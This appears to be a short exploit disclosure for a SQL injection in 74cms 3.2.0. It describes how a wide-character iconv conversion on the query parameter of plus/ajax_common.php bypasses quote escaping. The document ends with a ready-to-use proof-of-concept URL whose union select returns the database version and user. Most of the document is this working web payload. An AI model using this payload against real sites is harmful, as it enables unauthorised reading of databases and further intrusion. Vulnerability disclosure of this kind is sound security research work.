74cms 3.2.0 ajax_common query SQL inject

[blindkey]

plus/ajax_common.php

$_GET['query'] pass to $gbk_query and then $gbk_query get iconv

so use some special word to do something with iconv ,like wide charactars( such as %8c%27 ) chinese word or some thing . and then get into sql and finally leads to sql inject .

poc:
upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27